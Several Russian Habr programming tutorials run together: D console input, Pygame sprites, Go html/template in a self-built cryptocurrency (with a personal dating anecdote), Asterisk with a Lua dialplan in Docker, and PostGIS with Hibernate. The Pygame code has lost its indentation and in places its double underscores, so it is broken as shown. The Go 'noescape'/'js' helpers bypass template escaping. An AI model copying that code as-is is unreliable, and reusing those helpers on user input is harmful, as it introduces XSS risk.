> readf("%s", &teacherCount);
>
>
>
> writeln("Понял: Присутствует ", studentCount, " учеников",
>
> " и", teacherCount, " преподавателей.");
>
> }
К сожалению, теперь программа застряла при чтении второго **int**:
```
Сколько присутствует учеников? 100
Сколько присутствует преподавателей? 20
<- Программа зависает здесь
```
Хотя пользователь ввел число преподавателей равным 20, специальные коды, которые представляют клавишу Enter при чтении предыдущего значения 100, все еще находятся в потоке ввода и блокируют его. Символы, которые хранятся в потоке ввода аналогичны следующим:
```
100[EnterCode]20[EnterCode]
```
Первый символ [EnterCode] блокирует ввод.
Решением этой проблемы является добавление пробела перед %s для обозначения того, что код клавиши Enter, который может быть встречен перед чтением числа преподавателей, не важен: " %s". Пробелы в строке форматирования используются для чтения и игнорирования нуля или более невидимых символов, которые могут предшествовать вводу. Такие символы включают в себя: сам символ пробела, коды, которые представляют клавишу Enter, символ клавиши Tab и другие, называемые *пробельными символами*.
В общем случае можно использовать " %s" для любых данных, которые читаются из потока ввода. Программа выше работает как ожидается со следующими изменениями:
> // ...
>
> readf(" %s", &studentCount);
>
> // ...
>
> readf(" %s", &teacherCount);
>
> // ...
Вывод:
```
Сколько присутствует учеников? 100
Сколько присутствует преподавателей? 20
Понял: Присутствует 100 учеников и 20 преподавателей.
```
Дополнительная информация
-------------------------
* Строки, которые начинаются с *//* обозначают однострочные комментарии. Чтобы написать многострочный комментарий, заключайте строки в метки /\* и \*/.
Чтобы закомментировать другие комментарии, используйте /+ и +/:
> /+
>
> // Однострочный комментарий
>
>
>
> /\*
>
> Комментарий, который занимает
>
> несколько строк
>
> \*/
>
>
>
> Блок комментария, который включает в себя другие комментарии
>
> +/
* Большинство пробелов в исходном коде не имеют значения. Является хорошей практикой писать длинные выражения на нескольких строчках или добавлять дополнительные пробелы, чтобы сделать код более читаемым. Тем не менее, до тех пор, пока соблюдаются правила синтаксиса языка, программы могут быть написаны без каких-либо дополнительных пробелов:
> import std.stdio;void main(){writeln("Тяжело читаемо!");}
Тяжело читать код, в котором столько же пробелов, сколько в этом.
Упражнения
----------
* Введите не числовые символы, когда программа ожидает целочисленное значение и пронаблюдайте, как программа работает некорректно.
**... решение**Когда символы не могут быть преобразованы в желаемый тип, **stdin** переводится в состояние *непригодное к использованию*. Например, ввод «abc», когда ожидается **int**, сделает **stdin** *непригодным к использованию*. | https://habr.com/ru/post/243687/ | null | ru | null |
# Библиотека Pygame / Часть 2. Работа со спрайтами
Библиотека Pygame / Часть 2. Работа со спрайтами
------------------------------------------------
Вторая часть серии руководств «`Разработка игр с помощью Pygame`». Она предназначена для программистов начального и среднего уровней, которые заинтересованы в создании игр и улучшении собственных навыков кодирования на Python. Начать стоит с урока: «`Библиотека Pygame / Часть 1. Введение`».
### Что такое спрайт?
Спрайт — это элемент компьютерной графики, представляющий объект на экране, который может двигаться. В двухмерной игре все, что вы видите на экране, является спрайтами. Спрайты можно анимировать, заставлять их взаимодействовать между собой или передавать управление ими игроку.
Для загрузки и отрисовки спрайтов в случай этой игры их нужно добавить в разделы “Обновление” и “Визуализация” игрового цикла. Несложно представить, что если в игре много спрайтов, то цикл довольно быстро станет большим и запутанным. В Pygame для этого есть решение: группировка спрайтов.
Набор спрайтов — это коллекция спрайтов, которые могут отображаться одновременно. Вот как нужно создавать группу спрайтов в игре:
```
clock = pygame.time.Clock()
all_sprites = pygame.sprite.Group()
```
Теперь этой возможностью можно воспользоваться, добавив группу целиком в цикл:
```
# Обновление
all_sprites.update()
# Отрисовка
screen.fill(BLACK)
all_sprites.draw(screen)
```
Теперь при создании каждого спрайта, главное убедиться, что он добавлен в группу `all_sprites`. Такой спрайт будет автоматически отрисован на экране и обновляться в цикле.
### Создание спрайта
Можно переходить к созданию первого спрайта. В Pygame все спрайты выступают [**объектами**](https://pythonru.com/primery/primery-raboty-s-klassami-v-python). Если вы не работали с этим типом данных в Python, то для начала достаточно знать, что это удобный способ группировки данных и кода в единую сущность. Поначалу это может путать, но спрайты Pygame — отличная возможность попрактиковаться в работе с объектами и понять, как они работают.
Начнем с определения нового спрайта:
```
class Player(pygame.sprite.Sprite):
```
`class` сообщает Python, что определяется новый объект, который будет спрайтом игрока. Его тип `pygame.sprite.Sprite`. Это значит, что он будет основан на заранее определенном в Pygame классе `Sprite`.
Первое, что нужно в определении `class` — специальная функция `init()`, включающая код, который будет запущен при создании нового объекта этого типа. Также у каждого спрайта в Pygame должно быть два свойства: `image` и `rect`.
```
class Player(pygame.sprite.Sprite):
def init(self):
pygame.sprite.Sprite.init(self)
self.image = pygame.Surface((50, 50))
self.image.fill(GREEN)
self.rect = self.image.get_rect()
```
Первая строка, `Pygame.sprite.Sprite.__init__(self)` требуется в Pygame — она запускает инициализатор встроенных классов `Sprite`. Далее необходимо определить свойство `image`. Сейчас просто создадим квадрат размером 50х50 и заполним его зеленым (`GREEN`) цветом. Чуть позже вы узнаете, как сделать `image` спрайта красивее, используя, например, персонажа или космический корабль, но сейчас достаточно сплошного квадрата.
Дальше необходимо определить `rect` спрайта. Это сокращенное от `rectangle` (прямоугольник). Прямоугольники повсеместно используются в Pygame для отслеживания координат объектов. Команда `get_rect()` оценивает изображение `image` и высчитывает прямоугольник, способный окружить его.
`rect` можно использовать для размещения спрайта в любом месте. Начнем с создания спрайта по центру:
```
class Player(pygame.sprite.Sprite):
def __init__(self):
pygame.sprite.Sprite.__init__(self)
self.image = pygame.Surface((50, 50))
self.image.fill(GREEN)
self.rect = self.image.get_rect()
self.rect.center = (WIDTH / 2, HEIGHT / 2)
```
Теперь, после определения спрайта игрока Player, нужно отрисовать (создать) его, инициализировав экземпляр (instance) класса Player. Также нужно обязательно добавить спрайт в группу `all_sprites`.
```
all_sprites = pygame.sprite.Group()
player = Player()
all_sprites.add(player)
```
Сейчас, если запустить программу, по центру окна будет находиться зеленый квадрат. Увеличьте значения `WIDTH` и `HEIGHT` в настройках программы, чтобы создать достаточно пространства для движения спрайта в следующем шаге.
### Движение спрайта
В игровом цикле есть функция `all_sprites.update()`. Это значит, что для каждого спрайта в группе Pygame ищет функцию `update()` и запускает ее. Чтобы спрайт двигался, нужно определить его правила обновления:
```
class Player(pygame.sprite.Sprite):
def __init__(self):
pygame.sprite.Sprite.__init__(self)
self.image = pygame.Surface((50, 50))
self.image.fill(GREEN)
self.rect = self.image.get_rect()
self.rect.center = (WIDTH / 2, HEIGHT / 2)
def update(self):
self.rect.x += 5
```
Это значит, что при каждом игровом цикле x-координата спрайта будет увеличиваться на 5 пикселей. Запустите программу, чтобы посмотреть, как он скрывается за пределами экрана, достигая правой стороны.
Исправить это можно, заставив спрайт двигаться по кругу — когда он добирается до правой стороны экрана, просто переносить его влево. Это легко сделать, используя элемент управления `rect` спрайта:
Так, если левая сторона `rect` пропадает с экрана, просто задаем значение правого края равное 0:
```
class Player(pygame.sprite.Sprite):
def __init__(self):
pygame.sprite.Sprite.__init__(self)
self.image = pygame.Surface((50, 50))
self.image.fill(GREEN)
self.rect = self.image.get_rect()
self.rect.center = (WIDTH / 2, HEIGHT / 2)
def update(self):
self.rect.x += 5
if self.rect.left > WIDTH:
self.rect.right = 0
```
Теперь можно видеть, как спрайт будто бы двигается по кругу.
На этом все. Отправляйтесь изучать и экспериментировать, но не забывайте, что все, что вы помещаете в метод `update()`, будет происходить в каждом кадре. Попробуйте научить спрайт двигаться сверху вниз (изменив координату `y`) или заставить его отталкиваться от стен (изменяя направлении по достижении края). | https://habr.com/ru/post/588765/ | null | ru | null |
# Как я 8 месяцев переписывал свою криптовалюту с PHP на Go. Часть 2
2-я часть истории, которая началась с смс-ки от Кати «Не звони и не пиши мне больше!!!!»
Первая часть [тут](http://habrahabr.ru/company/dcoin/blog/272695/). Для тех, кому лень читать, приведу краткое изложение:
4,5 года назад я имел неосторожность начать писать свою криптовалюту на совсем неподходящем для этого дела языке — на PHP. В итоге, конечно, написал (я упрямый), но получился костыль на костыле и то, что оно вообще работало было просто какой-то магией.
Сразу хочу предупредить, программер я самоучка-недоучка и пишу код, мягко сказать, неидеально.
Началось всё с того, что я расстался с девушкой, по имени Катя и в этот же день (4 апреля 2015-го) решил изучить Go и переписать свою криптовалюту. Для тех, кому интересно, что там с Катей, я сделал спойлеры, ну а кому не интересно, просто не обращайте внимание на Катю
**Для тех, кто не читал 1-ю часть про Катю**Расскажу сперва как всё началось. Познакомился я с ней в интернете на сайте знакомств в начале 2015-го. Влюбился почти сразу. Уж больно внешне она была в моем вкусе. Гуляли по парку, шутили, смеялись, прикалывались, стало холодно, расставаться не хотелось. Позвал к себе мультики смотреть. Сели в такси, приехали. Включил «Три богатыря: Ход конем», очень смешной мультик, лежали на кровати, смеялись до слез.
Поздний вечер, я уверен, что Катя останется на ночь. Но она почему-то стала твердить, что ей надо домой. Я сказал, что хочу накормить её завтраком в постели. Договорись, что завтра утром она приедет завтракать. Вызвал такси, она уехала. Уснул счастливым, т.к. нашел себе красивую девушку, с которой весело и интересно. На следующий день от неё пришла смс-ка «Привет. Чем занимаешься?». Помню свои ощущения, ведь мне написала девушка, которая мне очень нравится, это было кайфово. И скоро мы с ней должны были снова встретиться…
В тот день мы так и не встретились. И на следующий тоже. Я не знаю, что у неё происходило в голове, но она постоянно переносила свидания. Даже не поздравила с 23 февраля.
Решил её как-то растормошить. Написал Кате смс-ку: «скоро буду, конечно захвачу»
Она ответила: «в смысле?»
Я: «упс, не туда»
Она: «вот значит как»
У неё включилась ревность. Через день предложил встретиться, она согласилась.
Проанализировав её поведение и, немного погуглив, я наткнулся на книгу «Новые правила. Секреты успешных отношений для современных девушек»
За вечер прочитал и понял, что она меня зачем-то в себя влюбляет, используя советы из этой книжки.
Итог 8 месяцев: приложение работает на Win ([64](https://github.com/c-darwin/dcoin-go/releases/download/v1.0.2b9/dcoin_win64.exe)/[32](https://github.com/c-darwin/dcoin-go/releases/download/v1.0.2b9/dcoin_win32.exe)), OSX([64](https://github.com/c-darwin/dcoin-go/releases/download/v1.0.2b9/dcoin_osx64.dmg)/[32](https://github.com/c-darwin/dcoin-go/releases/download/v1.0.2b9/dcoin_osx32.dmg)), Linux([64](https://github.com/c-darwin/dcoin-go/releases/download/v1.0.2b9/dcoin_linux64.deb)/[32](https://github.com/c-darwin/dcoin-go/releases/download/v1.0.2b9/dcoin_linux32.deb)), FreeBSD([64](https://github.com/c-darwin/dcoin-go/releases/download/v1.0.2b9/dcoin_freebsd64.zip)/[32](https://github.com/c-darwin/dcoin-go/releases/download/v1.0.2b9/dcoin_freebsd32.zip)), [Android](https://github.com/c-darwin/dcoin-go/releases/download/v1.0.2b9/dcoin.apk), [IOS](http://dcoin.club/ru/ios.html) (будет круто, если кто-то закинет в App Store).
Общего кода ~73к строк, кода под разные ОС где-то несколько сотен строчек.
40к — обработка/генерация блоков/тр-ий, 17.5к — контроллеры для интерфейса, 15.5к — шаблоны
Поддерживаются PostgreSQL, SQLite, MySQL.
Тех, кто будет тестировать мое творение, предупреждаю — могут быть баги, и если у Вас есть время, чиркните о них, пожалуйста, на [darwin@dcoin.club](mailto:darwin@dcoin.club) или в личку на хабре. Пожелания и советы тоже приветствуются.
В первой части я рассказал про то, как в dcoin функционирует веб-сервер.
В этой статье опишу, как я использую [html/template](https://golang.org/pkg/html/template/)
### Шаблоны
Для генерации html-страниц в Go есть очень удобный пакет — html/template. Проще всего понять, как он работает, можно поэкспериментировав вот с [этим примером](https://play.golang.org/p/_3lNVlNSi8). Как правило, шаблоны хранятся в отдельных html-файлах, но в примерах на play.golang.org, для наглядности, шаблоны вставлены в go-код.
Большую часть информации по шаблонам я получил с [gohugo.io/templates/go-templates](http://gohugo.io/templates/go-templates/)
Шаблоны у меня лежат [тут](https://github.com/c-darwin/dcoin-go/tree/master/static/templates). Каждый шаблон начинается с определения его имени {{ define «templateName» }}, а заканчивается {{end}}
Контроллеры, которые использует шаблоны получают html код через функцию [makeTemplate](https://github.com/c-darwin/dcoin-go/blob/master/packages/controllers/common.go#L326). В неё я передаю название html-файла, имя шаблона (которое в {{define}} указано), параметры.
```
TemplateStr, err := makeTemplate("template_name", "templateName", &tplPage{
Alert: c.Alert,
Lang: c.Lang,
TxType: txType,
TxTypeId: txTypeId})
```
Полученный в TemplateStr набор байт передается [content.go](https://github.com/c-darwin/dcoin-go/blob/master/packages/controllers/content.go) и в итоге браузер получает сформированную html-страничку
В makeTemplate для всех шаблонов я подключаю дополнительные шаблоны, такие как signatures.html, alert\_success.html. А также, добавляю пользовательские функции (FuncMap), которые используются для обработки данных в шаблонах.
**Про Катю**На втором свидании мы просто гуляли, болтали. Всё было хорошо. Про мою смс-ку «скоро буду, конечно захвачу» она, к моему счастью, ничего не сказала.
Мне не давал покоя вопрос о книге, по которой она, как мне казалось, влюбляет меня в себя. Спросить прямо я не решился. Поинтересовался, чего читает. Она назвала каких-то авторов. На вопрос о книгах про психологию, ответила, что почитывает для себя.
Было холодно. Проводил до дома. Договорились на днях пойти на каток.
### Включения в шаблоны
Чтобы включить в шаблон другой шаблон нужно использовать такую конструкцию {{ template «signatures». }}. Точка в конце говорит о том, что нужно обработать все параметры в шаблоне signatures, без точки параметры не будут обработаны. signatures я добавляю практически во все шаблоны, вот пример
### Параметры
Сравнение. Приведу сразу несколько примеров, чтобы показать, как всё просто:
```
{{if not .UserID}} Пусто {{end}}
{{if .UserID}} Не пусто {{end}}
{{if eq .UserID 0}} UserID == 0 {{end}}
{{if ne .UserID 0}} UserID != 0 {{end}}
{{if lt .UserID 0}} UserID < 0 {{end}}
{{if le .UserID 0}} UserID <= 0 {{end}}
{{if gt .UserID 0}} UserID > 0 {{end}}
{{if ge .UserID 0}} UserID >= 0 {{end}}
```
{{.Lang.pool} — Lang — это карта. Т.е. через точку мы получаем значение, у которого ключ «pool»
**Про Катю**Примерно неделю я не писал и не звонил ей. Решил проверить, позвонит ли она первой. Было капец как сложно, мучился, но ждал её звонка, хотел что бы она нарушила правила из книжки.
В итоге сдался. Написал ей, позвал в кино. Она сказала, что сегодня не может, т.к. переезжает. От помощи с переездом отказалась.
Забегу немного вперед и скажу, что после той самой смс-ки «Не звони и не пиши мне больше!!!!», я в ВК переманил на свою сторону её подружку, с которой она жила 2 года, чтобы та помогала мне вернуть Катю. Так вот, её подружка, сказала, что всю ту неделю, когда я не звонил, Катя очень переживала и ждала звонка от меня. Еще она рассказала, что после первого свидания Катя буквально светилась от радости. Также она добавила, что никакую книгу по соблазнению она не читала.
### Пользовательские функции
html-код в переменных нужно дизэскейпить. Для этого необходимо добавить функцию:
```
funcMap := template.FuncMap{
"noescape": func(s string) template.HTML {
return template.HTML(s)
},
}
```
Все пользовательские функции у меня собраны в [makeTemplate](https://github.com/c-darwin/dcoin-go/blob/master/packages/controllers/common.go#L326). Использовать так:
```
{{noescape .Lang.htmlText}}
```
**Про Катю**Близилось 8-е марта. Катя всё никак не хотела со мной встретиться. А я очень хотел поздравить её с праздником. В итоге я поставил вопрос ребром. Либо встречаемся 8-го марта, либо я ей больше не позвоню. Договорились отметить праздник у меня.
Купил её любимые цветы, вино и пр. Хотел весь день провести с ней, но к обеду она была еще не готова, через час тоже и через два. К моему удивлению, к шести часам она, наконец, собралась. Я вызвал ей такси.
### Range
Чтобы разобрать какую-нибудь карту используется Range. Вот пример, взятый [отсюда](https://github.com/c-darwin/dcoin-go/blob/master/static/templates/change_geolocation.html#L56):
```
{{range $k, $country := .Countries}}
{{$country}}
{{end}}
```
Из кода, наверное, понятно, что происходит. Но хочу обратить особое внимание на $.MyCountry. Если не добавить $, тогда доступа к параметру .MyCountry не будет. Я по началу очень часто об этом забывал и долго думал, что не так. За пределами range доступ к MyCountry снова получается через {{.MyCountry}}
**Про Катю**Приехала, вручил цветы, подарки. Открыл бутылку вина. Она увидела на одном из мониторов мои старые PHP-исходники. Спросила — «Что это?». Я рассказал ей про блокчейн, про то, как Dcoin, благодаря природному желанию людей получать прибыль («не вставая с дивана»), сможет завладеть умами миллионов, плавно заменив обычные валюты на децентрализованные, затем эмиссия остановится и у нас будет новый мир с прозрачной финансовой системой. Катя ничего не поняла. Потом смотрели какой-то фильм, целовались. Вдруг закончилось вино, я просил, хочет ли она еще, она сказала, что хочет. Я ушел в магазин.
### Переменные
В шаблонах можно создавать свои переменные. Вот пример, взятый [отсюда](https://github.com/c-darwin/dcoin-go/blob/master/static/templates/cf_page_preview.html#L213):
```
{{range $i, $pageType := .PagesArray}}
{{$counter := ""}}
{{if eq $pageType "funders"}}
{{$counter := " {{$.ProjectCountFunders}}"}}
{{else if eq $pageType "comments"}}
{{$counter := " {{$.ProjectCountComments}}"}}
{{end}}
{{$counter}}
{{end}}
```
В данном примере создается новая переменная $counter, которой присваивается значение, в зависимости от условия, и ниже выводится ее результат
### and/or
Несколько непривычной для меня оказалась логика работы and/or.
Примеры:
```
{{if and (eq .Start 1) (ne .BlockId 1) (gt .UserId 0)}}
```
Если .Start == 1 и .BlockId != 1 и .UserId > 0
```
{{if or (eq .Start 1) (ne .BlockId 1) (gt .UserId 0)}}
```
Если .Start == 1 или .BlockId != 1 или .UserId > 0
### JS-код
Еще одна проблема отняла у меня довольно много времени. Если в контроллере нужно сформировать какой-то js-код, например:
```
var x="1";
```
То при выводе его в шаблоне через {{.SomeJSCode}} мы получим
```
"var x=\"1\";"
```
#### Решение 1
noescape тут не поможет. Нужно добавить новую пользовательскую функцию:
```
"js": func(s string) template.JS {
return template.JS(s)
},
```
И в шаблоне использовать {{js .SomeJSCode}}
#### Решение 2
В контроллере использовать тип template.JS. Предварительно преобразовав переменную string: template.JS(SomeJsStringVariable). В самом шаблоне в таком случае нужно выводить {{.SomeJSCode}}
**Про Катю**Вернулся, допили вино. Достал массажное масло. Около часа делал массаж (на днях специально изучил вот [это видео](https://www.youtube.com/watch?v=LO83ozF302I)). Массаж плавно перевел в кое-что более интимное, в результате чего она испытала резкий выброс эндорфинов, и сразу после этого сказала, что хочет спать. «Что за фигня?» — подумал я. В общем, легли спать.
Продолжение в следующей части.
### Заключение
В следующих статьях я расскажу про БД, плавное завершение приложения через сигналы, обработку блоков из блокчейна, шифрование в GO и расшифровку в JS, про то, как я, немного изменил gomobile, добавив уведомления и работу в фоне для IOS и Android приложений. | https://habr.com/ru/post/273333/ | null | ru | null |
# Asterisk + LUA: быстрый старт
За последний год на Хабре появилось несколько статей про использование диалплана lua в asterisk ([раз](http://habrahabr.ru/post/243125/), [два](http://habrahabr.ru/post/264819/), [три](http://habrahabr.ru/post/243213/), [четыре](http://habrahabr.ru/post/243251/)). Это достаточно интересный способ написания гибких и мощных диалпланов. Но чтобы попробовать такой способ написания диалпланов надо потратить некоторое количество времени: установить нужные библиотеки, пересобрать с необходимыми опциям астериск.
Вдобавок у многих пользователей asterisk'а разный уровень подготовки: кто-то ближе к системному администрированию или даже к традиционной телефонии, чем к программированию. Плюс специфика телефонии — лучше лишний раз незнакомыми экспериментами не нагружать работающие системы, а проводить тесты и эксперименты на своем ноутбуке — приходится захламлять систему. В общем, есть немало причин «отложить на потом».
В данной статье я хочу показать всем желающим и работающим с астериском, как, используя docker, можно быстро ощутить вкус гибких сценариев lua. А уж затем решить стоит этим пользоваться дальше на практике или нет. (Кому неинтересно читать, а интересно смотреть и слушать — в конце текста 6-минутное видео с основными моментами и результатом.)
#### Вводное слово
В рамках работы над несколькими своими проектами, следуя современной тенденции упаковки всего в контейнеры, я подготовил образ [astolua](https://hub.docker.com/r/antirek/astolua/) (asterisk + lua). В Dockerfile приведены команды для установки asterisk 11, lua 5.1, luarocks (пакетный менеджер для lua), luamongo (драйвер для доступа к mongodb), некоторые пакеты lua rocks. Вы можете в дальнейшем в репозитории [docker-astolua](https://github.com/antirek/docker-astolua) взять только полезное для себя и собрать свою рабочую лошадку.
Безусловно плюсом докера является возможность скачать образ, провести пробы-эксперименты-тесты, а затем удалить образы, оставив свою операционную систему в чистоте и привычном порядке.
На основе образа astolua мы создадим свой рабочий образ, в котором будем использовать тестовые файлы конфигурации астериска и диалплан на lua.
#### Подготовка
Нам потребуется docker. Если у вас он не установлен, то, пожалуйста, установите сначала docker ([официальная документация](https://docs.docker.com/engine/installation/), [статья на Хабре](http://habrahabr.ru/company/infobox/blog/240623/)).
Также нам потребуется git ([установка git](https://git-scm.com/book/ru/v1/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5-%D0%A3%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BA%D0%B0-Git))
Также сразу отмечу, что моей рабочей системой является Ubuntu 14.04. Если вы используете иной Linux, то отличия в командах по идее быть не должно, но нюансы не исключены.
#### Загрузка образа astolua
Затягиваем образ (внимание, будет скачан образ с репозитория [hub.docker.com](https://hub.docker.com) размером ~600Мб).
```
docker pull antirek/astolua
```
#### Sample
Клонируем [docker-astolua-sample](https://github.com/antirek/docker-astolua-sample) — это заранее заготовленный набор файлов для этой статьи.
```
git clone https://github.com/antirek/docker-astolua-sample.git
cd docker-astolua-sample
```
Теперь давайте остановимся на sample и посмотрим содержимое директории.
**Файл Dockerfile**
Файл для сборки нашего рабочего образа. В нем мы указываем, что берем за основу astolua. Затем добавляем скрипт автозагрузки after\_start.sh, который будет выполнен при старте контейнера. В консоль, где мы запустим контейнер, будт выводиться лог консоли астериска.
**Файл build**
Внутри файла команда докера на построение образа sample из нашего Dockerfile.
```
docker build -t "astolua:sample" .
```
**Файл run**
Внутри файла команда докера на запуск контейнера на основе образа sample с конфигурированием необходимых ему ресурсов.
```
docker run \
-v /etc/localtime:/etc/localtime:ro \
-v $(pwd)/store/etc/asterisk:/etc/asterisk \
-v $(pwd)/store/var/log/asterisk:/var/log/asterisk \
-v $(pwd)/store/var/menu:/var/menu/ \
--net=host \
-i -t "astolua:sample"
```
**Папка store**
Папка store содержит конфигурационные файлы астериска (те, которые обычно лежат в /etc/asterisk) и папки для логов и голосовых меню.
Команда run наиболее интересна, т.к. здесь указываются необходимые ресурсы для контейнера. Например, опцией -v $(pwd)/store/etc/asterisk:/etc/asterisk мы указываем, что конфигурационные файлы из нашей папки store должны оказаться внутри контейнера на своем месте в /etc/asterisk.
Почему команды в файлах? Удобно редактировать команды в файлах, т.к. это ускоряет время на протестировать изменения в командах с разными опциями, а также все изменения лягут под контроль версий. И еще удобно потом перенести опции в docker-compose, если образ будет использоваться совместно с другими.
Вернемся к консоли.
Сделаем образ astolua:sample (в директории, куда мы склонировали docker-astolua-sample)
```
./build
```
Запускаем asterisk (если у вас уже запущен на машине астериск или иной сервис, занимающий порт 5060, то его лучше предварительно остановить)
```
./run
```
В консоль должен повалиться лог загрузки астериска. Можно протестировать связь.
В конфигурационном файле астериска sip.conf указаны два абонента 101 и 102 (пароль 1234), а в файле queues.conf очередь 1234, в которую добавлены эти два абонента. Настройте свой софтфон или хардфон на 101 абонента и попробуйте совершить звонок на абонента 102. (Транков для подключения к внешним voip-сервисам или настроек какого-либо железа нет, поэтому диалплан мы потестируем на локальных звонках). Информация о звонке между абонентами должна появиться в консоли астериска.
Абоненты работают, звонки проходят? Ок, значит астериск в докер-контейнере работает как надо.
#### Диалплан lua
Диалплан lua находится в файле extensions.lua. В конфигурационных файлах астериска в папке store/etc/asterisk есть пример работающего диалплана lua.
В этом файле должны быть правильно описаны переменные extensions и hints (в терминологии lua — это «таблицы»).
В таблице extensions содержатся контексты и соответствующие extensions. Все как в традиционном диалплане. Но каждый extension обрабатывается своей функцией, в которой вы уже можете делать все, что угодно на lua, при этом взаимодействуя с астериском через таблицы app и channel.
Самый простой пример
```
extensions = {
["internal"] = {
["_1XX"] = function (context, extension)
-- do something --
app.dial('SIP/'..extension);
-- do something again
end;
}
}
```
Видно, что через app доступно приложение диалплана Dial, оно принимает все те же параметры, что и в традиционном диалплане. Через app доступны [все приложения диалплана](https://wiki.asterisk.org/wiki/display/AST/Asterisk+11+Dialplan+Applications).
Переменная channel дает доступ к канальным переменным. Вот так, например, получаем dialstatus.
```
extensions = {
["internal"] = {
["_1XX"] = function (context, extension)
-- do something --
app.dial('SIP/'..extension);
local dialstatus = channel["DIALSTATUS"]:get();
app.noop('dialstatus: '..dialstatus);
end;
}
}
```
Вы можете изменить extensions.lua, а затем командой в CLI астериска **module reload pbx\_lua.so** перечитать extensions.lua. Астериск проверит синтаксис lua, и если все ок, то загрузит его для выполнения — можно тестировать изменения.
А что еще можно делать в диалплане lua?
Например, гибко обработать dialstatus, который будет возвращен функцией Dial диалплана. Не надо больше изобретать эти [Goto(s-${DIALSTATUS},1)](http://www.voip-info.org/wiki/view/Asterisk+variable+DIALSTATUS), теперь можно по-человечески написать проверку статуса
```
extensions = {
["internal"] = {
["_1XX"] = function (context, extension)
app.dial('SIP/'..extension);
local dialstatus = channel["DIALSTATUS"]:get();
if dialstatus == 'BUSY' then
-- do something
elseif dialstatus == 'CHANUNAVAIL' then
-- do another thing
end;
end;
}
}
```
В примерe extensions.lua есть пример простого ivr: позвонив на номер 200, вы услышите запись из файла /var/menu/demo и сможете перейти дальше, нажав 1 или 2.
```
local ivr = function (context, extension)
app.read("IVR_CHOOSE", "/var/menu/demo", 1, nil, 2, 3);
local choose = channel["IVR_CHOOSE"]:get();
if choose == '1' then
app.queue('1234');
elseif choose == '2' then
dial('internal', '101');
else
app.hangup();
end;
end;
```
Для человека, написавшего пару десятков строк традиционного диалплана, здесь должно быть все знакомо. Плюс появляется вся мощь lua и пакетов luarocks. Надеюсь очевидно, что здесь же в диалплане вы можете отправить смс, емейл, положить данные в бд, взять данные из бд, а бд может быть любая: mysql, mongodb, redis и т.п., сделать вызов команды, инициировать еще один звонок, сделать крутой роутинг звонка по транкам и т.д., не забывая, конечно, что это все работает в рамках астериска, и все «тяжелые» задачи лучше все-таки решать отдельно.
#### Что дальше?
Предлагаю:
* посмотреть [официальную документацию Asterisk и LUA](https://wiki.asterisk.org/wiki/display/AST/Lua+Dialplan+Configuration) — достаточно примеров и сравнений, чтобы разобраться с основами
* прочитать еще раз статьи на Хабре от [Sayman\_Nsk](http://habrahabr.ru/users/sayman_nsk/) и [ovoshlook](http://habrahabr.ru/users/ovoshlook/): [диалплан на lua](http://habrahabr.ru/post/243125/), [AMI в диалплане](http://habrahabr.ru/post/264819/), [обновление DEF-кодов](http://habrahabr.ru/post/243213/), [создание IVR](http://habrahabr.ru/post/243251/)
* посмотреть [пример диалплана на lua от Игмара](https://gist.github.com/igmar/4066527), где реализована большая часть функционала АТС: звонки абонентам, регистрация/отрегистрация операторов очередей, webhook'и при входящих звонках, маршрутизация в зависимости от дня недели и времени дня.
* «запилить» что-то свое: )
Надеюсь, данная статья будет полезна для быстрого старта, и вы найдете один свободный зимний вечер и попробуете такой способ написания диалпланов.
Ошибки? Опечятки? Вопросы? Пожалуйста, пишите. | https://habr.com/ru/post/271939/ | null | ru | null |
# PostGIS и JPA
PostGIS — открытое программное обеспечение, добавляющее поддержку географических объектов в реляционную базу данных PostgreSQL.
В этой небольшой статье будет рассмотрено использование его в Java. В частности — задача нахождения географических объектов по их координатам.
PostGIS был создан еще в 2001 году. Он является хорошим бесплатным решением для хранения картографических данных в базе. Но статья не совсем о нем, а только о частном случае — удобной работе с PostGIS средствами JPA.
### Зависимости
Для нашей задачи важны такие библиотеки:
* Hibernate 5.3.7
* **hibernate-spatial** — той же версии. Теоретически, можно использовать более старые. Начиная с пятой, hibernate-spatial совпадает с hibernate. Ранее: Hibernate Spatial 1.1.x для Hibernate 3.6.x, Hibernate Spatial 1.0 для Hibernate 3.2.x — 3.5.x.
* postgresql 42.2.4. Бралась такая версия, потому что в более новых ужесточены требования к SSL. Подбирайте версию драйвера, подходящую к версии БД.
Ну и все, что вам еще потребуется для JPA — Spring или контейнер.
### Диалекты
Hibernate Spatial предоставляет геометрические **абстракции** для работы с пространственными базами. Как и в JPA, в первом приближении нас не интересует, какая база данных используется на сервере.
Официально поддерживаются PostgresSQL, Oracle, MySQL, MS SQLServer, GeoDB (H2), DB2. [Детали поддержки функций](http://docs.jboss.org/hibernate/orm/5.2/userguide/html_single/Hibernate_User_Guide.html#spatial-configuration-dialect). Может показаться, что Мускул — аутсайдер. Но в 8-й версии поддержку пространственных данных прилично [улучшили](https://dev.mysql.com/doc/refman/8.0/en/spatial-analysis-functions.html).
Мы используем Postgres. Но нужно указать Hibernate диалект `"org.hibernate.spatial.dialect.postgis.PostgisDialect"` **вместо** стандартного постгресовского.
### Пора кодить
Таблица в PostGIS может иметь какие угодно поля. Просто стандартно одно из них будет типа geometry. А еще есть geography (не поддерживается сейчас в Hibernate). Если не научить Java работать с этим типом, он будет восприниматься как blob или String вида «01010000207B7F0000188D594CC9B22541BC4E56674F2C5541».
Конечно, можно работать с PostGis'ом на чистом JBDC. [Пример](https://postgis.net/docs/manual-1.5/ch05.html#id366626). Но это требует отдельной кропотливой работы с `org.postgis.PGgeometry`. Это совсем не те классы, про какие будет статья. И никакой переносимости уже не будет.
Мы идем в JPA и создаем простой класс:
```
@Entity
public class AdressBuilding implements Serializable {
@Id
private Integer id;
private Point geom;
...
```
Остальные поля опущены (географический объект может хранить любую информацию). Здесь ничего необычного — стандартный класс сущности. Интересен только объект класса Point — точка трехмерного пространства.
Тут и далее используются классы из пакета com.vividsolutions.jts.geom.
JTS стал стандартом де-факто для представления геопространственных данных. Он реализует спецификацию Simple Feature Specification / [Simple Feature Access](https://www.opengeospatial.org/standards/sfs), созданную OpenGIS еще в 90е.
*Уточнение*. Point наследуется от абстрактного класса Geometry. Он содержит такие нестатические поля:
```
protected Envelope envelope;
protected final GeometryFactory factory;
protected int SRID;
private Object userData;
```
Envelope — минимальная ограничительная рамка для этой геометрии. Но она может возвращаться в виде геометрии. И тогда у вас будет бесконечная попытка сериализации.
